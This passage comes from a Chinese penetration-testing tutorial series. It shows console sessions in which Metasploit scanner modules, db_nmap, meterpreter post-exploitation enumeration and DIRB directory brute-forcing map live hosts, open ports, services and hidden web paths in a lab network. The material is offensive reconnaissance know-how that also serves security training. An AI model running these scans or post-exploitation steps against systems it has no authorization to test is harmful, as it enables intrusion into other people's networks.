Scanned 256 of 256 hosts (100% complete) [*] Auxiliary module execution completed 十:基于auxiliary/scanner/mysql/mysql_version发现mysql服务 msf auxiliary(scanner/mysql/mysql_version) > show options Module options (auxiliary/scanner/mysql/mysql_version): Name Current Setting Required Description ‐‐‐‐ ‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐ ‐‐‐‐‐‐‐‐ ‐‐‐‐‐‐‐‐‐‐‐ RHOSTS 192.168.1.115 yes The target address range or CIDR identifier RPORT 3306 yes The target port (TCP) THREADS 50 yes The number of concurrent threads msf auxiliary(scanner/mysql/mysql_version) > exploit [+] 192.168.1.115:3306 ‐ 192.168.1.115:3306 is running MySQL 5.1.52‐community (protocol 10) [*] Scanned 1 of 1 hosts (100% complete) [*] Auxiliary module execution completed Micropoor Copyright © 2019 Micro8. All Rights Reserved. 遵循 知识共享 署名-非商业性使用 4.0 协议发布 修订时间: 2019-02-23 "},"Chapter1/21-30/25_基于MSF发现内网存活主机第三季.html":{"url":"Chapter1/21-30/25_基于MSF发现内网存活主机第三季.html","title":"第二十五课:基于MSF发现内网存活主机第三季 ","keywords":"","body":"注:请多喝点热水或者凉白开,可预防肾结石,通风等。 痛风可伴发肥胖症、高血压病、糖尿病、脂代谢紊乱等多种代谢性疾病。 攻击机: 192.168.1.5 Debian 靶机: 192.168.1.2 Windows 7192.168.1.115 Windows 2003192.168.1.119 Windows 2003 第一季主要介绍scanner下的五个模块,辅助发现内网存活主机,分别为: auxiliary/scanner/discovery/arp_sweep auxiliary/scanner/discovery/udp_sweep auxiliary/scanner/ftp/ftp_version auxiliary/scanner/http/http_version auxiliary/scanner/smb/smb_version 第二季主要介绍scanner下的五个模块,辅助发现内网存活主机,分别为: auxiliary/scanner/ssh/ssh_version auxiliary/scanner/telnet/telnet_version auxiliary/scanner/discovery/udp_probe auxiliary/scanner/dns/dns_amp auxiliary/scanner/mysql/mysql_version 第三季主要介绍scanner下的五个模块,辅助发现内网存活主机,分别为: auxiliary/scanner/netbios/nbname auxiliary/scanner/http/title auxiliary/scanner/db2/db2_version auxiliary/scanner/portscan/ack auxiliary/scanner/portscan/tcp 十一:基于auxiliary/scanner/netbios/nbname发现内网存活主机 msf auxiliary(scanner/netbios/nbname) > show options Module options (auxiliary/scanner/netbios/nbname): Name Current Setting Required Description ‐‐‐‐ ‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐ ‐‐‐‐‐‐‐‐ ‐‐‐‐‐‐‐‐‐‐‐ BATCHSIZE 256 yes The number of hosts to probe in each set RHOSTS 192.168.1.0/24 yes The target address range or CIDR identifier RPORT 137 yes The target port (UDP) THREADS 50 yes The number of concurrent threads msf auxiliary(scanner/netbios/nbname) > exploit [*] Sending NetBIOS requests to 192.168.1.0‐>192.168.1.255 (256 hosts) [+] 192.168.1.2 [JOHN‐PC] OS:Windows Names:(JOHN‐PC, WORKGROUP, __MSBROWSE__) Addresses:(192.168.1.2, 192.168.163.1, 192.168.32.1)Mac:4c:cc:6a:e3:51:27 [+] 192.168.1.115 [VM_2003X86] OS:Windows Names:(VM_2003X86,WORKGROUP) Addresses:(192.168.1.115) Mac:00:0c:29:af:ce:cc Virtual Machine:VMWare [+] 192.168.1.119 [WIN03X64] OS:Windows User:ADMINISTRATOR Names:(WIN03X64, WORKGROUP, ADMINISTRATOR) Addresses:(192.168.1.119)Mac:00:0c:29:85:d6:7d Virtual Machine:VMWare [*] Scanned 256 of 256 hosts (100% complete) [*] Auxiliary module execution completed 十二:基于auxiliary/scanner/http/title发现内网存活主机 msf auxiliary(scanner/http/title) > show options Module options (auxiliary/scanner/http/title): Name Current Setting Required Description ‐‐‐‐ ‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐ ‐‐‐‐‐‐‐‐ ‐‐‐‐‐‐‐‐‐‐‐ Proxies no A proxy chain of format type:host:port[,type:host:port] [...] RHOSTS 192.168.1.115,119 yes The target address range or CIDR identifier RPORT 80 yes The target port (TCP) SHOW_TITLES true yes Show the titles on the console as they are grabbed SSL false no Negotiate SSL/TLS for outgoing connections STORE_NOTES true yes Store the captured information in notes. Use \"no tes‐t http.title\" to view TARGETURI / yes The base path THREADS 50 yes The number of concurrent threads msf auxiliary(scanner/http/title) > exploit [*] [192.168.1.115:80] [C:200] [R:] [S:Microsoft‐IIS/6.0] 协同管理系统 [*] Scanned 2 of 2 hosts (100% complete) [*] Auxiliary module execution completed 十三:基于auxiliary/scanner/db2/db2_version发现db2服务 msf auxiliary(scanner/http/title) > use auxiliary/scanner/db2/db2_version msf auxiliary(scanner/db2/db2_version) > show options Module options (auxiliary/scanner/db2/db2_version): Name Current Setting Required Description ‐‐‐‐ ‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐ ‐‐‐‐‐‐‐‐ ‐‐‐‐‐‐‐‐‐‐‐ DATABASE toolsdb yes The name of the target database RHOSTS 192.168.1.0/24 yes The target address range or CIDR identifier RPORT 50000 yes The target port (TCP) THREADS 50 yes The number of concurrent threads TIMEOUT 5 yes Timeout for the DB2 probe msf auxiliary(scanner/db2/db2_version) > exploit 十四:基于auxiliary/scanner/portscan/ack发现内网存活主机 msf auxiliary(scanner/portscan/ack) > show options Module options (auxiliary/scanner/portscan/ack): Name Current Setting Required Description ‐‐‐‐ ‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐ ‐‐‐‐‐‐‐‐ ‐‐‐‐‐‐‐‐‐‐‐ BATCHSIZE 256 yes The number of hosts to scan per set DELAY 0 yes The delay between connections, per thread, in milliseconds INTERFACE no The name of the interface JITTER 0 yes The delay jitter factor (maximum value by which to +/‐ DELAY) in milliseconds. PORTS 445 yes Ports to scan (e.g. 22‐25,80,110‐900) RHOSTS 192.168.1.115,119 yes The target address range or CIDR identifier SNAPLEN 65535 yes The number of bytes to capture THREADS 50 yes The number of concurrent threads TIMEOUT 500 yes The reply read timeout in milliseconds msf auxiliary(scanner/portscan/ack) > exploit [*] TCP UNFILTERED 192.168.1.115:445 [*] TCP UNFILTERED 192.168.1.119:445 [*] Scanned 2 of 2 hosts (100% complete) [*] Auxiliary module execution completed 十五:基于auxiliary/scanner/portscan/tcp发现内网存活主机 msf auxiliary(scanner/portscan/tcp) > show options Module options (auxiliary/scanner/portscan/tcp): Name Current Setting Required Description ‐‐‐‐ ‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐ ‐‐‐‐‐‐‐‐ ‐‐‐‐‐‐‐‐‐‐‐ CONCURRENCY 10 yes The number of concurrent ports to check per host DELAY 0 yes The delay between connections, per thread, in milliseconds JITTER 0 yes The delay jitter factor (maximum value by which to +/‐ DELAY) in milliseconds. PORTS 445 yes Ports to scan (e.g. 22‐25,80,110‐900) RHOSTS 192.168.1.115,119,2 yes The target address range or CIDR identifier THREADS 50 yes The number of concurrent threads TIMEOUT 1000 yes The socket connect timeout in milliseconds msf auxiliary(scanner/portscan/tcp) > exploit [+] 192.168.1.2: ‐ 192.168.1.2:445 ‐ TCP OPEN [*] Scanned 1 of 3 hosts (33% complete) [+] 192.168.1.119: ‐ 192.168.1.119:445 ‐ TCP OPEN [+] 192.168.1.115: ‐ 192.168.1.115:445 ‐ TCP OPEN [*] Scanned 3 of 3 hosts (100% complete) [*] Auxiliary module execution completed Micropoor Copyright © 2019 Micro8. All Rights Reserved. 遵循 知识共享 署名-非商业性使用 4.0 协议发布 修订时间: 2019-02-23 "},"Chapter1/21-30/26_基于MSF发现内网存活主机第四季.html":{"url":"Chapter1/21-30/26_基于MSF发现内网存活主机第四季.html","title":"第二十六课:基于MSF发现内网存活主机第四季","keywords":"","body":"注:请多喝点热水或者凉白开,可预防肾结石,通风等。 痛风可伴发肥胖症、高血压病、糖尿病、脂代谢紊乱等多种代谢性疾病。 攻击机: 192.168.1.5 Debian 靶机: 192.168.1.2 Windows 7192.168.1.115 Windows 2003192.168.1.119 Windows 2003 第一季主要介绍scanner下的五个模块,辅助发现内网存活主机,分别为: auxiliary/scanner/discovery/arp_sweep auxiliary/scanner/discovery/udp_sweep auxiliary/scanner/ftp/ftp_version auxiliary/scanner/http/http_version auxiliary/scanner/smb/smb_version 第二季主要介绍scanner下的五个模块,辅助发现内网存活主机,分别为: auxiliary/scanner/ssh/ssh_version auxiliary/scanner/telnet/telnet_version auxiliary/scanner/discovery/udp_probe auxiliary/scanner/dns/dns_amp auxiliary/scanner/mysql/mysql_version 第三季主要介绍scanner下的五个模块,辅助发现内网存活主机,分别为: auxiliary/scanner/netbios/nbname auxiliary/scanner/http/title auxiliary/scanner/db2/db2_version auxiliary/scanner/portscan/ack auxiliary/scanner/portscan/tcp 第四季主要介绍scanner下的五个模块,辅助发现内网存活主机,分别为: auxiliary/scanner/portscan/syn auxiliary/scanner/portscan/ftpbounce auxiliary/scanner/portscan/xmas auxiliary/scanner/rdp/rdp_scanner auxiliary/scanner/smtp/smtp_version 十六:基于auxiliary/scanner/portscan/syn发现内网存活主机 msf auxiliary(scanner/portscan/syn) > show options Module options (auxiliary/scanner/portscan/syn): Name Current Setting Required Description ‐‐‐‐ ‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐ ‐‐‐‐‐‐‐‐ ‐‐‐‐‐‐‐‐‐‐‐ BATCHSIZE 256 yes The number of hosts to scan per set DELAY 0 yes The delay between connections, per thread, in millisecond s INTERFACE no The name of the interface JITTER 0 yes The delay jitter factor (maximum value by which to +/‐ DELAY) in milliseconds. PORTS 445 yes Ports to scan (e.g. 22‐25,80,110‐900) RHOSTS 192.168.1.115 yes The target address range or CIDR identifier SNAPLEN 65535 yes The number of bytes to capture THREADS 50 yes The number of concurrent threads TIMEOUT 500 yes The reply read timeout in milliseconds msf auxiliary(scanner/portscan/syn) > exploit [+] TCP OPEN 192.168.1.115:445 [*] Scanned 1 of 1 hosts (100% complete) [*] Auxiliary module execution completed 十七:基于auxiliary/scanner/portscan/ftpbounce发现内网存活主机 msf auxiliary(scanner/portscan/ftpbounce) > show options Module options (auxiliary/scanner/portscan/ftpbounce): Name Current Setting Required Description ‐‐‐‐ ‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐ ‐‐‐‐‐‐‐‐ ‐‐‐‐‐‐‐‐‐‐‐ BOUNCEHOST 192.168.1.119 yes FTP relay host BOUNCEPORT 21 yes FTP relay port DELAY 0 yes The delay between connections, per thread, in millisecond s FTPPASS mozilla@example.com no The password for the specified usernam e FTPUSER anonymous no The username to authenticate as JITTER 0 yes The delay jitter factor (maximum value by which to +/‐ DELAY) in milliseconds. PORTS 22‐25 yes Ports to scan (e.g. 22‐25,80,110‐900) RHOSTS 192.168.1.119 yes The target address range or CIDR identifier THREADS 50 yes The number of concurrent threads msf auxiliary(scanner/portscan/ftpbounce) > exploit [+] 192.168.1.119:21 ‐ TCP OPEN 192.168.1.119:22 [+] 192.168.1.119:21 ‐ TCP OPEN 192.168.1.119:23 [+] 192.168.1.119:21 ‐ TCP OPEN 192.168.1.119:24 [+] 192.168.1.119:21 ‐ TCP OPEN 192.168.1.119:25 [*] 192.168.1.119:21 ‐ Scanned 1 of 1 hosts (100% complete) [*] Auxiliary module execution completed 十八:基于auxiliary/scanner/portscan/xmas发现内网存活主机 msf auxiliary(scanner/portscan/xmas) > show options Module options (auxiliary/scanner/portscan/xmas): Name Current Setting Required Description ‐‐‐‐ ‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐ ‐‐‐‐‐‐‐‐ ‐‐‐‐‐‐‐‐‐‐‐ BATCHSIZE 256 yes The number of hosts to scan per set DELAY 0 yes The delay between connections, per thread, in millisecond s INTERFACE no The name of the interface JITTER 0 yes The delay jitter factor (maximum value by which to +/‐ DELAY) in milliseconds. PORTS 80 yes Ports to scan (e.g. 22‐25,80,110‐900) RHOSTS 192.168.1.119 yes The target address range or CIDR identifier SNAPLEN 65535 yes The number of bytes to capture THREADS 50 yes The number of concurrent threads TIMEOUT 500 yes The reply read timeout in milliseconds msf auxiliary(scanner/portscan/xmas) > exploit 十九:基于auxiliary/scanner/rdp/rdp_scanner发现内网存活主机 msf auxiliary(scanner/rdp/rdp_scanner) > show options Module options (auxiliary/scanner/rdp/rdp_scanner): Name Current Setting Required Description ‐‐‐‐ ‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐ ‐‐‐‐‐‐‐‐ ‐‐‐‐‐‐‐‐‐‐‐ CredSSP true yes Whether or not to request CredSSP EarlyUser false yes Whether to support Earlier User Authorization Result PDU RHOSTS 192.168.1.2,115,119 yes The target address range or CIDR identifier RPORT 3389 yes The target port (TCP) THREADS 50 yes The number of concurrent threads TLS true yes Wheter or not request TLS security msf auxiliary(scanner/rdp/rdp_scanner) > exploit [*] Scanned 1 of 3 hosts (33% complete) [+] 192.168.1.115:3389 ‐ Identified RDP [*] Scanned 2 of 3 hosts (66% complete) [+] 192.168.1.119:3389 ‐ Identified RDP [*] Scanned 3 of 3 hosts (100% complete) [*] Auxiliary module execution completed 二十:基于auxiliary/scanner/smtp/smtp_version发现内网存活主机 msf auxiliary(scanner/smtp/smtp_version) > show options Module options (auxiliary/scanner/smtp/smtp_version): Name Current Setting Required Description ‐‐‐‐ ‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐ ‐‐‐‐‐‐‐‐ ‐‐‐‐‐‐‐‐‐‐‐ RHOSTS 192.168.1.5 yes The target address range or CIDR identifier RPORT 25 yes The target port (TCP) THREADS 50 yes The number of concurrent threads msf auxiliary(scanner/smtp/smtp_version) > exploit Micropoor Copyright © 2019 Micro8. All Rights Reserved. 遵循 知识共享 署名-非商业性使用 4.0 协议发布 修订时间: 2019-02-23 "},"Chapter1/21-30/27_基于MSF发现内网存活主机第五季.html":{"url":"Chapter1/21-30/27_基于MSF发现内网存活主机第五季.html","title":"第二十七课:基于MSF发现内网存活主机第五季 ","keywords":"","body":"注:请多喝点热水或者凉白开,可预防肾结石,通风等。 痛风可伴发肥胖症、高血压病、糖尿病、脂代谢紊乱等多种代谢性疾病。 攻击机:192.168.1.102 Debian靶机:192.168.1.2 Windows 7192.168.1.115 Windows 2003192.168.1.119 Windows 2003 第一季主要介绍scanner下的五个模块,辅助发现内网存活主机,分别为: auxiliary/scanner/discovery/arp_sweep auxiliary/scanner/discovery/udp_sweep auxiliary/scanner/ftp/ftp_version auxiliary/scanner/http/http_version auxiliary/scanner/smb/smb_version 第二季主要介绍scanner下的五个模块,辅助发现内网存活主机,分别为: auxiliary/scanner/ssh/ssh_version auxiliary/scanner/telnet/telnet_version auxiliary/scanner/discovery/udp_probe auxiliary/scanner/dns/dns_amp auxiliary/scanner/mysql/mysql_version 第三季主要介绍scanner下的五个模块,辅助发现内网存活主机,分别为: auxiliary/scanner/netbios/nbname auxiliary/scanner/http/title auxiliary/scanner/db2/db2_version auxiliary/scanner/portscan/ack auxiliary/scanner/portscan/tcp 第四季主要介绍scanner下的五个模块,辅助发现内网存活主机,分别为: auxiliary/scanner/portscan/syn auxiliary/scanner/portscan/ftpbounce auxiliary/scanner/portscan/xmas auxiliary/scanner/rdp/rdp_scanner auxiliary/scanner/smtp/smtp_version 第五季主要介绍scanner下的三个模块,以及db_nmap辅助发现内网存活主机,分别为: auxiliary/scanner/pop3/pop3_version auxiliary/scanner/postgres/postgres_version auxiliary/scanner/ftp/anonymous db_nmap 二十一:基于auxiliary/scanner/pop3/pop3_version发现内网存活主机 msf auxiliary(scanner/pop3/pop3_version) > show options Module options (auxiliary/scanner/pop3/pop3_version): Name Current Setting Required Description ‐‐‐‐ ‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐ ‐‐‐‐‐‐‐‐ ‐‐‐‐‐‐‐‐‐‐‐ RHOSTS 192.168.1.110‐120 yes The target address range or CIDR identifier RPORT 110 yes The target port (TCP) THREADS 50 yes The number of concurrent threads msf auxiliary(scanner/pop3/pop3_version) > exploit [*] Scanned 5 of 11 hosts (45% complete) [*] Scanned 11 of 11 hosts (100% complete) [*] Auxiliary module execution completed 二十二:基于auxiliary/scanner/postgres/postgres_version发现内网存活主机 msf auxiliary(scanner/postgres/postgres_version) > show options Module options (auxiliary/scanner/postgres/postgres_version): Name Current Setting Required Description ‐‐‐‐ ‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐ ‐‐‐‐‐‐‐‐ ‐‐‐‐‐‐‐‐‐‐‐ DATABASE template1 yes The database to authenticate against PASSWORD msf no The password for the specified username. Leave blank for a random password. RHOSTS 127.0.0.1 yes The target address range or CIDR identifier RPORT 5432 yes The target port THREADS 50 yes The number of concurrent threads USERNAME msf yes The username to authenticate as VERBOSE false no Enable verbose output msf auxiliary(scanner/postgres/postgres_version) > exploit [*] 127.0.0.1:5432 Postgres ‐ Version PostgreSQL 9.6.6 on x86_64‐pc‐li nux‐gnu, compiled by gcc (Debian 4.9.2‐10) 4.9.2, 64‐bit (Post‐Auth) [*] Scanned 1 of 1 hosts (100% complete) [*] Auxiliary module execution completed 二十三:基于auxiliary/scanner/ftp/anonymous发现内网存活主机 msf auxiliary(scanner/ftp/anonymous) > show options Module options (auxiliary/scanner/ftp/anonymous): Name Current Setting Required Description ‐‐‐‐ ‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐ ‐‐‐‐‐‐‐‐ ‐‐‐‐‐‐‐‐‐‐‐ FTPPASS mozilla@example.com no The password for the specified username FTPUSER anonymous no The username to authenticate as RHOSTS 192.168.1.100‐120 yes The target address range or CIDR identifier RPORT 21 yes The target port (TCP) THREADS 50 yes The number of concurrent threads msf auxiliary(scanner/ftp/anonymous) > exploit [+] 192.168.1.115:21 ‐ 192.168.1.115:21 ‐ Anonymous READ (220 Slyar Ftpserver) [+] 192.168.1.119:21 ‐ 192.168.1.119:21 ‐ Anonymous READ (220 FTPserver) [*] Scanned 3 of 21 hosts (14% complete) [*] Scanned 6 of 21 hosts (28% complete) [*] Scanned 17 of 21 hosts (80% complete) [*] Scanned 21 of 21 hosts (100% complete) [*] Auxiliary module execution completed 二十四:基于db_nmap发现内网存活主机 MSF内置强大的端口扫描工具Nmap,为了更好的区别,内置命令为:db_nmap,并且会自动存储nmap扫描结果到数据库中,方便快速查询已知存活主机,以及更快捷的进行团队协同作战,使用方法与nmap一致。也是在实战中最常用到的发现内网存活主机方式之一。 例: msf exploit(multi/handler) > db_nmap ‐p 445 ‐T4 ‐sT 192.168.1.115‐120 ‐‐open [*] Nmap: Starting Nmap 7.70 ( https://nmap.org ) at 2019‐02‐17 15:17 EST [*] Nmap: Nmap scan report for 192.168.1.115 [*] Nmap: Host is up (0.0025s latency). [*] Nmap: PORT STATE SERVICE [*] Nmap: 445/tcp open microsoft‐ds [*] Nmap: MAC Address: 00:0C:29:AF:CE:CC (VMware) [*] Nmap: Nmap scan report for 192.168.1.119 [*] Nmap: Host is up (0.0026s latency). [*] Nmap: PORT STATE SERVICE [*] Nmap: 445/tcp open microsoft‐ds [*] Nmap: MAC Address: 00:0C:29:85:D6:7D (VMware) [*] Nmap: Nmap done: 6 IP addresses (2 hosts up) scanned in 13.35 seconds 命令hosts查看数据库中已发现的内网存活主机 msf exploit(multi/handler) > hosts Hosts ===== address mac name os_name os_flavor os_sp purpose info comments ‐‐‐‐‐‐‐ ‐‐‐ ‐‐‐‐ ‐‐‐‐‐‐‐ ‐‐‐‐‐‐‐‐‐ ‐‐‐‐‐ ‐‐‐‐‐‐‐ ‐‐‐‐ ‐‐‐‐‐‐‐‐ 1.34.37.188 firewall 10.0.0.2 00:24:1d:dc:3b:16 10.0.0.3 00:e0:81:bf:b9:7b 10.0.0.4 00:30:6e:ca:10:b8 10.0.0.5 9c:8e:99:c4:63:74 2013XXXXX Windows 2008 SP1 client ... 10.0.0.242 00:13:57:01:d4:71 10.0.0.243 00:13:57:01:d4:73 .... 10.162.110.30 firewall 59.125.110.178 firewall 127.0.0.1 Unknown device 172.16.204.8 WIN‐6FEAACQJ691 Windows 2012 server 172.16.204.9 WIN‐6FEAACQJ691 Windows 2012 server 172.16.204.21 IDS Windows 2003 SP2 server 192.168.1.5 JOHN‐PC Windows 7 SP1 client 192.168.1.101 JOHN‐PC Windows 7 Ultimate SP1 client 192.168.1.103 LAPTOP‐9994K8RP Windows 10 client 192.168.1.115 00:0c:29:af:ce:cc VM_2003X86 Windows 2003 SP2 server 192.168.1.116 WIN‐S4H51RDJQ3M Windows 2012 server 192.168.1.119 00:0c:29:85:d6:7d WIN03X64 Windows 2003 SP2 server 192.168.1.254 Unknown device 192.168.50.30 WINDOWS‐G4MMTV8 Windows 7 SP1 client 192.168.100.2 Unknown device 192.168.100.10 同样hosts命令也支持数据库中查询与搜索,方便快速对应目标存活主机。 msf exploit(multi/handler) > hosts ‐h Usage: hosts [ options ] [addr1 addr2 ...] OPTIONS: ‐a,‐‐add Add the hosts instead of searching ‐d,‐‐delete Delete the hosts instead of searching ‐c Only show the given columns (see list below) ‐C Only show the given columns until the next restart (see list below) ‐h,‐‐help Show this help information ‐u,‐‐up Only show hosts which are up ‐o Send output to a file in csv format ‐O Order rows by specified column number ‐R,‐‐rhosts Set RHOSTS from the results of the search ‐S,‐‐search Search string to filter by ‐i,‐‐info Change the info of a host ‐n,‐‐name Change the name of a host ‐m,‐‐comment Change the comment of a host ‐t,‐‐tag Add or specify a tag to a range of hosts msf exploit(multi/handler) > hosts ‐S 192 Hosts ===== address mac name os_name os_flavor os_sp purpose info comments ‐‐‐‐‐‐‐ ‐‐‐ ‐‐‐‐ ‐‐‐‐‐‐‐ ‐‐‐‐‐‐‐‐‐ ‐‐‐‐‐ ‐‐‐‐‐‐‐ ‐‐‐‐ ‐‐‐‐‐‐‐‐ 192.168.1.5 JOHN‐PC Windows 7 SP1 client 192.168.1.101 JOHN‐PC Windows 7 Ultimate SP1 client 192.168.1.103 LAPTOP‐9994K8RP Windows 10 client 192.168.1.115 00:0c:29:af:ce:cc VM_2003X86 Windows 2003 SP2 server 192.168.1.116 WIN‐S4H51RDJQ3M Windows 2012 server 192.168.1.119 00:0c:29:85:d6:7d WIN03X64 Windows 2003 SP2 server 192.168.1.254 Unknown device 192.168.50.30 WINDOWS‐G4MMTV8 Windows 7 SP1 client 192.168.100.2 Unknown device 192.168.100.10 Micropoor Copyright © 2019 Micro8. All Rights Reserved. 遵循 知识共享 署名-非商业性使用 4.0 协议发布 修订时间: 2019-02-23 "},"Chapter1/21-30/28_基于MSF发现内网存活主机第六季.html":{"url":"Chapter1/21-30/28_基于MSF发现内网存活主机第六季.html","title":"第二十八课:基于MSF发现内网存活主机第六季","keywords":"","body":"注:请多喝点热水或者凉白开,可预防肾结石,通风等。如有肾囊肿,请定期检查肾囊肿的大小变化。 攻击机:192.168.1.102 Debian 靶机:192.168.1.2 Windows 7192.168.1.115 Windows 2003192.168.1.119 Windows 2003 第一季主要介绍scanner下的五个模块,辅助发现内网存活主机,分别为: auxiliary/scanner/discovery/arp_sweep auxiliary/scanner/discovery/udp_sweep auxiliary/scanner/ftp/ftp_version auxiliary/scanner/http/http_version auxiliary/scanner/smb/smb_version 第二季主要介绍scanner下的五个模块,辅助发现内网存活主机,分别为: auxiliary/scanner/ssh/ssh_version auxiliary/scanner/telnet/telnet_version auxiliary/scanner/discovery/udp_probe auxiliary/scanner/dns/dns_amp auxiliary/scanner/mysql/mysql_version 第三季主要介绍scanner下的五个模块,辅助发现内网存活主机,分别为: auxiliary/scanner/netbios/nbname auxiliary/scanner/http/title auxiliary/scanner/db2/db2_version auxiliary/scanner/portscan/ack auxiliary/scanner/portscan/tcp 第四季主要介绍scanner下的五个模块,辅助发现内网存活主机,分别为: auxiliary/scanner/portscan/syn auxiliary/scanner/portscan/ftpbounce auxiliary/scanner/portscan/xmas auxiliary/scanner/rdp/rdp_scanner auxiliary/scanner/smtp/smtp_version 第五季主要介绍scanner下的三个模块,以及db_nmap辅助发现内网存活主机,分别为: auxiliary/scanner/pop3/pop3_version auxiliary/scanner/postgres/postgres_version auxiliary/scanner/ftp/anonymous db_nmap 第六季主要介绍post下的六个模块,辅助发现内网存活主机,分别为: windows/gather/arp_scanner windows/gather/enum_ad_computers windows/gather/enum_computers windows/gather/enum_domain windows/gather/enum_domains windows/gather/enum_ad_user_comments 在实战过程中,许多特殊环境下scanner,db_nmap不能快速符合实战渗透诉求,尤其在域中的主机存活发现,而post下的模块,弥补了该诉求,以便快速了解域中存活主机。 二十五:基于windows/gather/arp_scanner发现内网存活主机 meterpreter > run windows/gather/arp_scanner RHOSTS=192.168.1.110‐120 THREADS=20 [*] Running module against VM_2003X86 [*] ARP Scanning 192.168.1.110‐120 [+] IP: 192.168.1.115 MAC 00:0c:29:af:ce:cc (VMware, Inc.) [+] IP: 192.168.1.119 MAC 00:0c:29:85:d6:7d (VMware, Inc.) 二十六:基于windows/gather/enum_ad_computers发现域中存活主机 meterpreter > run windows/gather/enum_ad_computers 二十七:基于windows/gather/enum_computers发现域中存活主机 meterpreter > run windows/gather/enum_computers [*] Running module against VM_2003X86 [‐] This host is not part of a domain. 二十八:基于windows/gather/enum_domain发现域中存活主机 meterpreter > run windows/gather/enum_domain 二十九:基于windows/gather/enum_domains 发现域中存活主机 meterpreter > run windows/gather/enum_domains [*] Enumerating DCs for WORKGROUP [‐] No Domain Controllers found... 三十:基于windows/gather/enum_ad_user_comments发现域中存活主机 meterpreter > run windows/gather/enum_ad_user_comments POST下相关模块如:(列举)不一一介绍 linux/gather/enum_network linux/busybox/enum_hosts windows/gather/enum_ad_users windows/gather/enum_domain_tokens windows/gather/enum_snmp 至此,MSF发现内网存活主机主要模块介绍与使用完毕。 Micropoor Copyright © 2019 Micro8. All Rights Reserved. 遵循 知识共享 署名-非商业性使用 4.0 协议发布 修订时间: 2019-02-23 "},"Chapter1/21-30/29_发现目标WEB程序敏感目录第一季.html":{"url":"Chapter1/21-30/29_发现目标WEB程序敏感目录第一季.html","title":"第二十九课:发现目标WEB程序敏感目录第一季","keywords":"","body":"DIRB官方地址: http://dirb.sourceforge.net/ 简介(摘自官方原文): DIRB is a Web Content Scanner. It looks for existing (and/or hidden) Web Objects. It basically works by launching a dictionary based attack against a web server and analizing the response. 介绍: DIRB是一个基于命令行的工具,依据字典来爆破目标Web路径以及敏感文件,它支持自定义UA,cookie,忽略指定响应吗,支持代理扫描,自定义毫秒延迟,证书加载扫描等。是一款非常优秀的全方位的目录扫描工具。同样Kaili内置了dirb。 攻击机:192.168.1.104 Debian靶机:192.168.1.102 Windows 2003 IIS 普通爆破: root@John:~/wordlist/small# dirb http://192.168.1.102 ./ASPX.txt ‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐ DIRB v2.22 By The Dark Raver ‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐ START_TIME: Sun Feb 17 23:26:52 2019 URL_BASE: http://192.168.1.102/ WORDLIST_FILES: ./ASPX.txt ‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐ GENERATED WORDS: 822 ‐‐‐‐ Scanning URL: http://192.168.1.102/ ‐‐‐‐ + http://192.168.1.102//Index.aspx (CODE:200|SIZE:2749) + http://192.168.1.102//Manage/Default.aspx (CODE:302|SIZE:203) ‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐ END_TIME: Sun Feb 17 23:26:56 2019 DOWNLOADED: 822 ‐ FOUND: 2 多字典挂载: root@John:~/wordlist/small# dirb http://192.168.1.102 ./ASPX.txt,./DIR.txt ‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐ DIRB v2.22 By The Dark Raver ‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐ START_TIME: Sun Feb 17 23:31:02 2019 URL_BASE: http://192.168.1.102/ WORDLIST_FILES: ./ASPX.txt,./DIR.txt ‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐ GENERATED WORDS: 1975 ‐‐‐‐ Scanning URL: http://192.168.1.102/ ‐‐‐‐ + http://192.168.1.102//Index.aspx (CODE:200|SIZE:2749) + http://192.168.1.102//Manage/Default.aspx (CODE:302|SIZE:203) + http://192.168.1.102//bbs (CODE:301|SIZE:148) + http://192.168.1.102//manage (CODE:301|SIZE:151) + http://192.168.1.102//manage/ (CODE:302|SIZE:203) + http://192.168.1.102//kindeditor/ (CODE:403|SIZE:218) + http://192.168.1.102//robots.txt (CODE:200|SIZE:214) + http://192.168.1.102//Web.config (CODE:302|SIZE:130) + http://192.168.1.102//files (CODE:301|SIZE:150) + http://192.168.1.102//install (CODE:301|SIZE:152) (!) FATAL: Too many errors connecting to host (Possible cause: EMPTY REPLY FROM SERVER) ‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐ END_TIME: Sun Feb 17 23:31:06 2019 DOWNLOADED: 1495 ‐ FOUND: 10 自定义UA: root@John:~/wordlist/small# dirb http://192.168.1.102 ./ASPX.txt ‐a \"M ozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)\" ‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐ DIRB v2.22 By The Dark Raver ‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐ START_TIME: Sun Feb 17 23:34:51 2019 URL_BASE: http://192.168.1.102/ WORDLIST_FILES: ./ASPX.txt USER_AGENT: Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html) ‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐ GENERATED WORDS: 822 ‐‐‐‐ Scanning URL: http://192.168.1.102/ ‐‐‐‐ + http://192.168.1.102//Index.aspx (CODE:200|SIZE:2735) + http://192.168.1.102//Manage/Default.aspx (CODE:302|SIZE:203) ‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐ END_TIME: Sun Feb 17 23:34:54 2019 DOWNLOADED: 822 ‐ FOUND: 2 自定义cookie: root@John:~/wordlist/small# dirb http://192.168.1.102/Manage ./DIR.txt ‐a \"Mozilla/5.0 (compatible; 